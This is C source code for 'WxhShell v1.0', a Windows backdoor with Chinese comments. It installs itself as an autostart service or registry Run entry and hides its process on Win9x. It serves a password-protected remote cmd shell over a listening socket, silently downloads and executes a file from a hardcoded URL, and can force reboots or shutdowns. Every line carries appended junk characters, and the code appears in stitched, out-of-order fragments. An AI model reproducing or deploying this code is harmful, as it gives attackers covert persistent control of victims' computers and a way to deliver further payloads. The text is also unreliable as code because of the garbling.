    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FzCXA=m  
    if(Boot(SHUTDOWN)) }y J,&N'p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p0l.f`B  
    else { @8aV*zjB  
    closesocket(wsh); 7i02M~*uS  
    ExitThread(0); '^7UcgugB  
    } Y,,Z47% E  
    break; O7.eq524  
    } \h0+` ;Q  
  // 获取shell M%Vp_ 0  
  case 's': { {-]K!tWda  
    CmdShell(wsh); ;p <BiC$b  
    closesocket(wsh); iyUnxqP  
    ExitThread(0); aCIz(3^  
    break; dNqj|Vu  
  } Buq(L6P9r  
  // 退出 EKN<KnU%  
  case 'x': { 1;{nU.If  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k 7@:e$7  
    CloseIt(wsh); ~q/~ u  
    break; kJNg>SN*@#  
    } ni )G  
  // 离开 qx*b\6Rt  
  case 'q': { [0kZyjCq@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $3ZQ|X[|+  
    closesocket(wsh); ]]}iSw'  
    WSACleanup(); Iue=\qUK^  
    exit(1); gQu!(7WLI  
    break; X>o*eN  
        } Ky8,HdAq  
  } rxJl;!7G  
  } S+mBVk"-~S  
I1dOMu9  
  // 提示信息 k!$$ *a*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Yy`A0v  
} `jhbKgR[  
  } pa?AKj]  
87)/dHc  
  return; 'iwTvkf{  
} 4&e<Sc64  
i*&b@.7N  
// shell模块句柄 g_>E5z.  
int CmdShell(SOCKET sock) n? =O@yq  
{ !mwMSkkq  
STARTUPINFO si; b`DPlQHj  
ZeroMemory(&si,sizeof(si)); QC] <`!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8-kR {9r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BV/ ^S.~  
PROCESS_INFORMATION ProcessInfo; oz|+{b}%  
char cmdline[]="cmd"; }"%mP 4]&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); < %<nh`D  
  return 0; <1x u&Z7  
} +R{~%ZTK  
.>_%12>  
// 自身启动模式 _pvt,pW  
int StartFromService(void) L/GV Qjb  
{ B(eiRr3  
typedef struct T0b/txS  
{ R@>^t4#_Q0  
  DWORD ExitStatus; sE{5&aCSR  
  DWORD PebBaseAddress; n3eWqwQ$5  
  DWORD AffinityMask; 5*90t{#  
  DWORD BasePriority; mT|r:Yr:  
  ULONG UniqueProcessId; qkC{IBN92  
  ULONG InheritedFromUniqueProcessId; 2'Kh>c2  
}   PROCESS_BASIC_INFORMATION; qM 3(OvCt  
M A%g-}  
PROCNTQSIP NtQueryInformationProcess; v9f%IE4fX  
XGYsTquSe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m?4HVv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  ggfCfn  
c3<H272\  
  HANDLE             hProcess; <@4V G  
  PROCESS_BASIC_INFORMATION pbi; ).Iifu|ks  
am| 81)|a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8QI+O`  
  if(NULL == hInst ) return 0; c2s73i z  
o(D_ /]'8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q8R,#\T*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'fzJw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 889^P`Q5  
8LuU2Lo  
  if (!NtQueryInformationProcess) return 0; or7l} X  
*8u<?~9F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q!h'rX=_-  
  if(!hProcess) return 0; \t&8J+%  
}<'ki ;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R.GDCGAL  
N];K  
  CloseHandle(hProcess); `Uvc^  
,Vz-w;oDn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3YUF\L]yyw  
if(hProcess==NULL) return 0; mWLiXKnb  
fX1Ib$v  
HMODULE hMod; `:0Auw9h  
char procName[255]; <<@F{B7h  
unsigned long cbNeeded; /7.//klN  
]4lC/ &nm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XF@34b5(  
DoICf1  
  CloseHandle(hProcess); [8acan+ 2l  
#??[;xjs!  
if(strstr(procName,"services")) return 1; // 以服务启动 T7Ju7_q}  
]&='E.f  
  return 0; // 注册表启动 e_S,N0  
} RH$YM `cZ  
.8[uEQ_L  
// 主模块 Y%zWaH  
int StartWxhshell(LPSTR lpCmdLine) I}}>M#  
{ mMCd   
  SOCKET wsl; ScT{Tb]9bt  
BOOL val=TRUE; PHH,vO[eO  
  int port=0; srKEtd"  
  struct sockaddr_in door; a:1$idj  
{aU|BdATI  
  if(wscfg.ws_autoins) Install(); {817Svp@  
DW)81*~g  
port=atoi(lpCmdLine); 9R[P pE''  
yRp&pUtb  
if(port<=0) port=wscfg.ws_port; QUz4 Kt  
cF"}}c1*M  
  WSADATA data; q$<VLrx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "5\6`\/  
_@_EQ!=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X LY>}r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I&% Z*H  
  door.sin_family = AF_INET; ^i@0P}K<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eK\i={va  
  door.sin_port = htons(port); \@{TF((Y  
WZviC_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $L'[_J  
closesocket(wsl); L/N%ft]!T  
return 1; dTwYDV}:  
} fK^;?4  
Nr*o RYY  
  if(listen(wsl,2) == INVALID_SOCKET) { V'K:52  
closesocket(wsl); +Je%8jH  
return 1; }YU\}T-P  
} owA.P-4  
  Wxhshell(wsl); m,rkKhXP  
  WSACleanup(); 'W&ewZH_h  
\23m*3"W  
return 0; F84<='K  
tU.~7f#+A  
} {]4Zpev  
;[:IC^9fv  
// 以NT服务方式启动 .k,,PuP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "z*?#&?,  
{ B~YOU 3  
DWORD   status = 0; /3;]e3x  
  DWORD   specificError = 0xfffffff; qtz~Y~h|>  
q0nIJ(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UhU"[^YO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'sa>G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c? Mbyay  
  serviceStatus.dwWin32ExitCode     = 0; }E&:  
  serviceStatus.dwServiceSpecificExitCode = 0; Q-yNw0V}F  
  serviceStatus.dwCheckPoint       = 0; py wc~dWvz  
  serviceStatus.dwWaitHint       = 0; @J'tPW<$  
j@/p: fk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sy(.p^Z  
  if (hServiceStatusHandle==0) return; ]L k- -\  
Ir Y\Q)  
status = GetLastError(); ^SIA%S3  
  if (status!=NO_ERROR) vm =d?*cR  
{ ZsP>CELm@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CSBDSz  
    serviceStatus.dwCheckPoint       = 0; TRE D_6  
    serviceStatus.dwWaitHint       = 0; P!XO8X 1F  
    serviceStatus.dwWin32ExitCode     = status; ehZ/J5  
    serviceStatus.dwServiceSpecificExitCode = specificError; vPrlRG6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sDBwD%sb  
    return; @=BApuer+  
  } cG1iO:  
8zho\'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mp*?GeV?M  
  serviceStatus.dwCheckPoint       = 0; 64Tb,AL_  
  serviceStatus.dwWaitHint       = 0; m;ju@5X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UUGX@  
} FgMQ=O2  
xZVZYvC,t  
// 处理NT服务事件,比如:启动、停止 R%`fd *g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #6C<P!]V  
{ I [n|#N  
switch(fdwControl) tHr4/  
{ ~ ^fb`f+%  
case SERVICE_CONTROL_STOP: (g1Op~EM  
  serviceStatus.dwWin32ExitCode = 0; b&RsxW7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CQ7NQ^3k  
  serviceStatus.dwCheckPoint   = 0; |*l^<==  
  serviceStatus.dwWaitHint     = 0; p!\ GJ a",  
  { `r0lu_.$]4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i\x@s>@x}  
  } xWM?E1@  
  return; n"@){:{4?  
case SERVICE_CONTROL_PAUSE: _\{/#J;lN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f6{.Uq%SGp  
  break; \$gA2r  
case SERVICE_CONTROL_CONTINUE: wZ=@0al  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^4et; F%  
  break; ]&tcocq  
case SERVICE_CONTROL_INTERROGATE: 7JBr{3;eS  
  break; v<mSd2B*  
}; /L./-92NH4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u~~ ~@p  
} o[q|dhrANh  
8fK/0u^`d  
// 标准应用程序主函数 Oc5f8uv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U U#tm  
{ 5tEkQ(Ei8  
UUF]45t>  
// 获取操作系统版本  SWyJ`  
OsIsNt=GetOsVer(); SH O&:2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [&(~1C|C  
m[BpV.s  
  // 从命令行安装  HYv-5:B  
  if(strpbrk(lpCmdLine,"iI")) Install(); t$?#@8Yk  
R 83PHM  
  // 下载执行文件 ";DozPU  
if(wscfg.ws_downexe) { \C{Zqo,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /)<kG(Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); .kJu17!  
} -z%->OUu  
KEf1GU6s  
if(!OsIsNt) { ;j+*}|!  
// 如果时win9x,隐藏进程并且设置为注册表启动 xc7Rrh]}  
HideProc(); '}-QZ$|*  
StartWxhshell(lpCmdLine); G3h"Eo?>g  
} p(9[*0.};  
else qggRS)a  
  if(StartFromService()) ?8;WP&  
  // 以服务方式启动 <;cch6Z  
  StartServiceCtrlDispatcher(DispatchTable); Xe(]4Ux  
else B9H.8+~(  
  // 普通方式启动 !_W']Crb]]  
  StartWxhshell(lpCmdLine); b`f6(6  
lI@Z)~  
return 0; '$5d6?BC`3  
} P/Y)Yx_(  
ac1(lD  
p\Iy)Y2Lf!  
bfkFk  
=========================================== x'SIHV4M@Q  
c5pK%I}O  
5'%O]~  
BgY|v [M&  
Dj6^|R$z&  
a>+m_]*JZ  
" 'pF$6n;  
S"`{ JCW$  
#include <stdio.h> jc@= b:r=  
#include <string.h> }G!'SZ$F 5  
#include <windows.h> 'z@]hm#  
#include <winsock2.h> {wO .nOB  
#include <winsvc.h> rd"!&i  
#include <urlmon.h> J|HV8  
yN06` =  
#pragma comment (lib, "Ws2_32.lib") Z Z c^~  
#pragma comment (lib, "urlmon.lib") Mgu9m8 `J  
;ZkY[5  
#define MAX_USER   100 // 最大客户端连接数 [jEA|rd~}  
#define BUF_SOCK   200 // sock buffer K1-RJj\L  
#define KEY_BUFF   255 // 输入 buffer i~*6JB|  
=l6W O*  
#define REBOOT     0   // 重启 ,'sDauFn  
#define SHUTDOWN   1   // 关机 _ozg=n2(  
h]IoH0/  
#define DEF_PORT   5000 // 监听端口 #jO2Zu2`}  
yA7O<p+  
#define REG_LEN     16   // 注册表键长度 -^8OjGat  
#define SVC_LEN     80   // NT服务名长度 Y^|15ek  
Yk*_u}?#  
// 从dll定义API V9%9nR!'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^;?w<9Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SCfk!GBVD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B%o%%A8*g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =PnNett}a  
!~ j9Oc^  
// wxhshell配置信息 YfNN&G4_  
struct WSCFG { Iv{iJoe;UH  
  int ws_port;         // 监听端口 :R3&R CTZ  
  char ws_passstr[REG_LEN]; // 口令 U@(8)[?nxn  
  int ws_autoins;       // 安装标记, 1=yes 0=no /gn\7&=P  
  char ws_regname[REG_LEN]; // 注册表键名 .'2"83f  
  char ws_svcname[REG_LEN]; // 服务名 S'>KGdF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %O{FZgi%wA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V P7LKfv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >!c Ff$2'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P E[5oH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  U8% IpI;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E^~ {thf  
h,K&R8S  
}; pTJ_DH  
)5Cqyp~P  
// default Wxhshell configuration >z,Y%A  
struct WSCFG wscfg={DEF_PORT, r\y\]AmF  
    "xuhuanlingzhe", ZY;g)`E1  
    1, $lJ!f  
    "Wxhshell", b0tbS[j  
    "Wxhshell", YYvX@f  
            "WxhShell Service", b'xBPTN  
    "Wrsky Windows CmdShell Service", .R S  
    "Please Input Your Password: ", [T,Df&  
  1, WJ 'lYl0+7  
  "http://www.wrsky.com/wxhshell.exe", ]]5(:>l  
  "Wxhshell.exe" f,BJb+0  
    }; ]HRHF'4  
DvA#zX[  
// 消息定义模块 :MH=6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a &`^M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t=[/L]!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YG>Eop  
char *msg_ws_ext="\n\rExit."; H 'nLC,  
char *msg_ws_end="\n\rQuit."; 9mpQusM  
char *msg_ws_boot="\n\rReboot..."; [yRqSB  
char *msg_ws_poff="\n\rShutdown..."; lHu/pSu@k  
char *msg_ws_down="\n\rSave to "; 9(bbV5}  
GW9,%}l^;  
char *msg_ws_err="\n\rErr!"; *6v5JH&K  
char *msg_ws_ok="\n\rOK!"; U1kW1L}B  
nYj7r* e[  
char ExeFile[MAX_PATH]; q"-Vh,8h  
int nUser = 0; ~fO#En  
HANDLE handles[MAX_USER]; `"$9L[>  
int OsIsNt; A~L Ti  
6\)u\m`7-l  
SERVICE_STATUS       serviceStatus; U/7jK40  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u R!'v  
ux[13]yY  
// 函数声明 #EH\Q%  
int Install(void); TI8E W  
int Uninstall(void); 0bGQO&s [  
int DownloadFile(char *sURL, SOCKET wsh); lDs C>L-F  
int Boot(int flag); qtP*O#1q  
void HideProc(void); uYd_5 nw  
int GetOsVer(void); $% W.=a'5  
int Wxhshell(SOCKET wsl); zS?DXE  
void TalkWithClient(void *cs); 5)w;0{X!P  
int CmdShell(SOCKET sock); ikPr>  
int StartFromService(void); J/[PA[Rf  
int StartWxhshell(LPSTR lpCmdLine); UG<<.1JL  
ork{a.1-_w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w *o _s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g G|4+' t  
TQ5kT?/{  
// 数据结构和表定义  mNX0BZ  
SERVICE_TABLE_ENTRY DispatchTable[] = I#zL-RXT  
{ \9} -5  
{wscfg.ws_svcname, NTServiceMain}, CY)[{r  
{NULL, NULL} "2I{T  
}; YJwffV}nd  
|@)jS.Bn  
// 自我安装 mQtOx  
int Install(void) h0VeXUM;.  
{ ;ZZmX]kz,M  
  char svExeFile[MAX_PATH]; iyMoLZ5  
  HKEY key; o1Wf#Zq   
  strcpy(svExeFile,ExeFile); r;fcBepO  
xf{=~j/L  
// 如果是win9x系统,修改注册表设为自启动 f:9qId ;/M  
if(!OsIsNt) { Vb~;"WABo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yGb^kR}d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5eas^Rm  
  RegCloseKey(key); (HeIO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m=]}Tn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m9aP]I3g]\  
  RegCloseKey(key); c5{3  
  return 0; +#g4Crb  
    } cHwN=mg]S  
  } IPnx5#eB  
} hHsO?([99  
else { 8;Df/ %  
vn96o] n  
// 如果是NT以上系统,安装为系统服务 $H7T|`WI.,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /6p7 k  
if (schSCManager!=0) cA+O]",}  
{ vslN([@JR  
  SC_HANDLE schService = CreateService Oxh . &  
  ( U6_GEBz~y  
  schSCManager, p%CcD]o  
  wscfg.ws_svcname, t$*CyYb{@  
  wscfg.ws_svcdisp, IN!IjInaT@  
  SERVICE_ALL_ACCESS, ;<|m0>X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /k^O1+]H  
  SERVICE_AUTO_START, rcjj( C  
  SERVICE_ERROR_NORMAL, `,FvYA"  
  svExeFile, 4i Z7BD  
  NULL, h)yAg e  
  NULL, j}$Q`7-wB1  
  NULL, &0euNHH;sL  
  NULL, u-~?ylh  
  NULL J<7nOB}OD  
  ); K]Q1VfeL=  
  if (schService!=0) eHI7= [h  
  { |'12Kv]#Xa  
  CloseServiceHandle(schService); j;i7.B"[  
  CloseServiceHandle(schSCManager); Dad*6;+N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [moz{Y  
  strcat(svExeFile,wscfg.ws_svcname);  Z_?r5M;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LgoUD*MbQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ITEd[ @^d  
  RegCloseKey(key); :8Jn?E (36  
  return 0; [+4--#&{  
    } {@`Z`h" N  
  } P 4jg]g  
  CloseServiceHandle(schSCManager); 4 O~zkg  
} wLH[rwPr  
} !4!Y~7sI"\  
\Y}nehxG@  
return 1; /g]m,Y{OI  
} pL)o@-k#%  
u6u1>  
// 自我卸载 fk:oCPo  
int Uninstall(void) C<\O;-nHH  
{ 0%<x>O  
  HKEY key; ` Ui|T  
/YH5s=  
if(!OsIsNt) { <YBA 7i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *ZA.O  
  RegDeleteValue(key,wscfg.ws_regname); H-1y2AQ  
  RegCloseKey(key); 1t7S:IZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I:%O`F  
  RegDeleteValue(key,wscfg.ws_regname); A!j6JY.w  
  RegCloseKey(key); uWKc .  
  return 0; YDr/Cw>J  
  } <xQHb^:  
} fo30f =^Gi  
} #97w6,P+  
else { f_GqJ7Gk]  
^8r4tX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !|gln)|A  
if (schSCManager!=0) :svRn9_8H  
{ X"qC&oZmf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :TzHI    
  if (schService!=0) []rg'9B2b  
  { <UcbBcW,  
  if(DeleteService(schService)!=0) { <kr%ylhIu  
  CloseServiceHandle(schService); rwUKg[ 1N  
  CloseServiceHandle(schSCManager); 2,O;<9au<  
  return 0; Q+UqLass  
  } lnoK.Vk9,  
  CloseServiceHandle(schService); bl;C=n  
  } ngoAFb  
  CloseServiceHandle(schSCManager); b:uMO N,H  
} _A%8oY S  
} >O:j.(*!  
 XVKR}I  
return 1; 2nGQD{  
} 'rw nAr  
sOBy)vq?\  
// 从指定url下载文件 5ZkMd !$y  
int DownloadFile(char *sURL, SOCKET wsh) LMmW3W`   
{ E#=slj @  
  HRESULT hr; r!vSYgee  
char seps[]= "/"; `kd P)lI `  
char *token; ^gpswhp 5  
char *file; *MFsq}\ $  
char myURL[MAX_PATH]; 0oFRcU  
char myFILE[MAX_PATH]; x !o>zT\  
F(i@Gm=J]  
strcpy(myURL,sURL); Htf|VpzMb  
  token=strtok(myURL,seps); s5TPecd  
  while(token!=NULL) >}~Pu| _ S  
  { b4$-?f?V  
    file=token; P+Ta|-  
  token=strtok(NULL,seps); (Wu_RXfCw_  
  } Q!<b"8V]  
qUY QN2wG  
GetCurrentDirectory(MAX_PATH,myFILE); 'bpx  
strcat(myFILE, "\\"); M#Vl{ b  
strcat(myFILE, file); gL+8fX2G6  
  send(wsh,myFILE,strlen(myFILE),0); \*0ow`|K  
send(wsh,"...",3,0); %usy`4 2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a0oM KGW:  
  if(hr==S_OK) p9[J 9D3~  
return 0; > T,^n {_v  
else 0b0.xz\~U  
return 1; n3t0Qc  
csV.AN'obq  
} ?>V4pgGCE  
r1= :B'z  
// 系统电源模块 ]$'w8<D>t,  
int Boot(int flag) _T 5ZL  
{ bt/u^E  
  HANDLE hToken; a~_5N&~pi  
  TOKEN_PRIVILEGES tkp; 8pfQAzl  
!dVth)UV  
  if(OsIsNt) { {%K(O$H#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); # 4AyA$t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ROr..-[u  
    tkp.PrivilegeCount = 1; P d@y+|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *t'q n   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TixXA:Mf  
if(flag==REBOOT) { BK>uJv-qU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .r/6BDE"  
  return 0; zice0({iJ  
} fD#VI   
else { piE9qXn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I |?zSFa  
  return 0; X#$mBRK7  
} M4rOnIJ  
  } <j93   
  else { s5X .(;+  
if(flag==REBOOT) { \7QAk4I~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R<+K&_  
  return 0; ]:B|_| H  
} jOppru5U  
else { H[ DrG6GA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]urrAIK  
  return 0; ^d!(8vh  
} L=u>}?!,Fj  
} 15i8) 4h  
_ 13M  
return 1; URbu=U  
} DS,"^K  
}5Yd:%u5  
// win9x进程隐藏模块 v*+.;60_  
void HideProc(void) _e<3 g9bj  
{ p.9VyM  
|0vV?f$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UwuDs2 t  
  if ( hKernel != NULL ) _VFxzM9f  
  { -z]v"gF?Px  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o7N3:)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J;pn5k~3  
    FreeLibrary(hKernel); K4Mv\!Q<8  
  } d7+YCi?  
 }xcEWC\  
return; Fh u(u  
} t =ErJ  
LEoL6ga  
// 获取操作系统版本 0#~e KF y  
int GetOsVer(void) H]5%"(h  
{ >}` q4U6$  
  OSVERSIONINFO winfo; 9S ~!!7oj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )x1LOMe  
  GetVersionEx(&winfo); A ^YHtJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i?uJ<BdU[  
  return 1; SG1fu<Q6J  
  else t&+f:)n  
  return 0; "oX@Z^  
} / lh3.\|  
5UE5;yo  
// 客户端句柄模块 {umdW x.*  
int Wxhshell(SOCKET wsl) u?[dy n  
{ +5Yf9  
  SOCKET wsh; yjUSM}$  
  struct sockaddr_in client; -7:J#T/\  
  DWORD myID; |cwGc\ES  
1*{` .  
  while(nUser<MAX_USER) |tC`rzo  
{ _{z.Tu  
  int nSize=sizeof(client); )BR6?C3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =p9d4smbn  
  if(wsh==INVALID_SOCKET) return 1; xy>~ 15  
HE911 lc:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }~Z1C0 t  
if(handles[nUser]==0) PaPQ|Pwz  
  closesocket(wsh); ]+O];*T  
else e;:~@cB,c  
  nUser++; ", b}-B  
  } ,/n<Qg"`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N5u.V\F!z\  
l?:!G7ie  
  return 0; #wH<W5gSZ  
} KlbL<9P >  
h$)},% e  
// 关闭 socket uc@f#(-  
void CloseIt(SOCKET wsh) CN6@g^)P  
{ :*V1jp+  
closesocket(wsh); ^;0.P)yGA  
nUser--; 3dG[dYj  
ExitThread(0); ^a~^$PUqI  
} tmF->~|  
Mq!03q6  
// 客户端请求句柄 Y_n^6 ;  
void TalkWithClient(void *cs) d&n&_>  
{ g3@Qn?(j!  
]*a3J45  
  SOCKET wsh=(SOCKET)cs; iOI8'`mk  
  char pwd[SVC_LEN]; m\~{l=jIS  
  char cmd[KEY_BUFF]; ,"!t[4p=f  
char chr[1]; eC:?j`H -  
int i,j; FBpf_=(_1  
Nq|b$S[4  
  while (nUser < MAX_USER) { <$)F_R~T3  
z mvF#o  
if(wscfg.ws_passstr) { .Ua|KKK C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xh[De}@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 3=zHYQ  
  //ZeroMemory(pwd,KEY_BUFF); b]s.h8+v;  
      i=0; 4:Adn?"  
  while(i<SVC_LEN) { "*O(3L.c-  
epa)~/sA  
  // 设置超时 .K>r ao'  
  fd_set FdRead; 6XPf0Gl  
  struct timeval TimeOut; ..RCR_DIp  
  FD_ZERO(&FdRead); 1Wzm51RU  
  FD_SET(wsh,&FdRead); .JIn(  
  TimeOut.tv_sec=8; D_fgxl  
  TimeOut.tv_usec=0; q~9Y&>D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y'ULhDgq^B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O(BAw  
 u!TVvc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < &[=,R0 @  
  pwd=chr[0];  qOO2@c  
  if(chr[0]==0xd || chr[0]==0xa) { _]W {)=ap  
  pwd=0; QGE)Xn#_bN  
  break; <4Z;a2l}U  
  } 5!Y51R^c  
  i++; A<esMDX  
    } FV|/o%XqK  
]i\C4*  
  // 如果是非法用户,关闭 socket Gz)]1Z{%$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ym~*5|  
} KF&1Y>t=  
.iFd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |7XV! D!\g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DuJbWtA  
,&$w*D%  
while(1) { nzI}w7>VU  
_l}"gUtiw  
  ZeroMemory(cmd,KEY_BUFF); cX'&J_T+  
c%,~1l  
      // 自动支持客户端 telnet标准   *G)=6\  
  j=0; jFYv4!\ju  
  while(j<KEY_BUFF) { /I@nPH<y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @&!HMl  
  cmd[j]=chr[0]; ,<]X0;~oB  
  if(chr[0]==0xa || chr[0]==0xd) { z>HeM Mei  
  cmd[j]=0; N- E)b  
  break; Dg]( ?^  
  } %j9'HtjEa  
  j++; <a_Q1 l  
    } Bd8,~8  
oW]~\vp^0  
  // 下载文件 ^3*k6h [(  
  if(strstr(cmd,"http://")) { ,1+AfI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :Z0m "  
  if(DownloadFile(cmd,wsh)) S`ms[^-q*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}Z=m8  
  else >P*wK9|(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JA'C\  
  } JGjqBuz#A*  
  else { tjw4.L<r  
'yG9Rt  
